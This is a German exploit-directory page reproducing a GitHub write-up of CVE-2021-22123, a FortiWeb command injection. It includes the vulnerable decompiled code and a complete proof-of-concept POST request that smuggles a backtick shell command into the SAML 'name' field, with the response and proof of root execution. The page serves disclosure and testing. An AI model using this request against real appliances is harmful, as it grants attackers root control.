Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22123 — [CVE-2021-22123] Fortinet FortiWeb Authentifizierte OS-Befehlseinschleusung | Kitploit
Tools/GitHubGitHub/murataydemir/cve-2021-22123
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlPayload-Entwicklung
GitHubmurataydemir/cve-2021-22123

CVE-2021-22123

[CVE-2021-22123] Fortinet FortiWeb Authentifizierte OS-Befehlseinschleusung

Repository anzeigen
638vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

[CVE-2021-22123] Fortinet FortiWeb Authentifizierte OS-Befehlseinschleusung


Hit Counter Platform Badge

Die Schwachstelle zur Befehlseinschleusung in der FortiWeb-Verwaltungsoberfläche könnte einem authentifizierten entfernten Angreifer ermöglichen, über die SAML-Serverkonfigurationsseite beliebige Befehle im System auszuführen. Die Ausführung von Befehlen mit maximalen Berechtigungen führt dazu, dass der Angreifer die vollständige Kontrolle über den Server erlangt. Dies ist ein Beispiel für CWE-78: Unzulässige Neutralisierung spezieller Elemente in einem OS-Befehl und hat einen CVSSv3-Basiswert von 8.7. Diese Schwachstelle trägt die Nummer CVE-2021-22123, die auf der Fortiguard Lab-Seite (FG-IR-20-120) behandelt wurde.

Im Wesentlichen steht SAML für Security Assertion Markup Language und ist ein XML-basierter offener Standard zur Übertragung von Identitätsdaten zwischen zwei Parteien: einem Identitätsanbieter (IdP) und einem Dienstanbieter (SP). Es wurde entwickelt, um den Betrieb eines Single-Sign-On-Mechanismus zu gewährleisten, der den Zugriff auf verschiedene Softwareprodukte mit einer einzigen Kennung ermöglicht.

FortiWeb alle Versionen vor 6.3.7 und darunter sind anfällig für authentifizierte OS-Befehlseinschleusung. Eine erfolgreiche Ausnutzung dieser Schwachstelle kann zur vollständigen Kontrolle über das betroffene Gerät mit den höchstmöglichen Berechtigungen führen. Der Angreifer könnte eine persistente Shell, Krypto-Mining-Software oder andere schädliche Software installieren. Im unwahrscheinlichen Fall, dass die Verwaltungsoberfläche dem Internet ausgesetzt ist, könnte der Angreifer die kompromittierte Plattform nutzen, um in das betroffene Netzwerk jenseits der DMZ zu gelangen.

Ein Angreifer, der zunächst an der Verwaltungsoberfläche des FortiWeb-Geräts authentifiziert ist, kann mithilfe von Backticks im name-Feld der SAML-Serverkonfigurationsseite Befehle einschmuggeln. Diese Befehle werden dann als root-Benutzer des zugrunde liegenden Betriebssystems ausgeführt. Der anfällige Teil des Codes wird unten dargestellt.

int move_metafile(char * path, char * name) {
    int iVar1;
    char buf[512];
    int nret;
    snprintf(buf, 0x200, "%s/%s", "/data/etc/saml/shibboleth/service_providers", name);
    iVar1 = access(buf, 0);
    if (iVar1 != 0) {
        snprintf(buf, 0x200, "mkdir %s/%s", "/data/etc/saml/shibboleth/service_providers", name);
        iVar1 = system(buf);
        if (iVar1 != 0) {
            return iVar1;
        }
    }
    snprintf(buf, 0x200, "cp %s %s/%s/%s.%s", path, "/data/etc/saml/shibboleth/service_providers", name,
        "Metadata", & DAT_00212758);
    iVar1 = system(buf);
    return iVar1;
}

Konzeptnachweis (PoC): Die folgende POST-Anfrage kann verwendet werden, um diese Schwachstelle auszunutzen.

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: vulnerablehost
Cookie: redacted
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vulnerablehost/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://vulnerablehost
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/CVE-2021-22123`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
HTTP/1.1 500 Internal Server Error
Date: Thu, 18 Aug 2021 15:47:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: redacted
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json

{"errcode": "-651"}

Schließlich können die Ergebnisse des 'touch'-Befehls in der lokalen Befehlszeile des FortiWeb-Geräts angezeigt werden

/# ls -l /tmp/CVE-2021-22123
-rw-r--r--    1 root     0                0 Aug 10 15:48 /tmp/CVE-2021-22123

Referenzen:

  • https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection/
  • https://www.ptsecurity.com/ww-en/about/news/positive-technologies-discovers-vulnerability-in-fortinet-firewall/
  • https://www.fortiguard.com/psirt/FG-IR-20-120
Tool herunterladen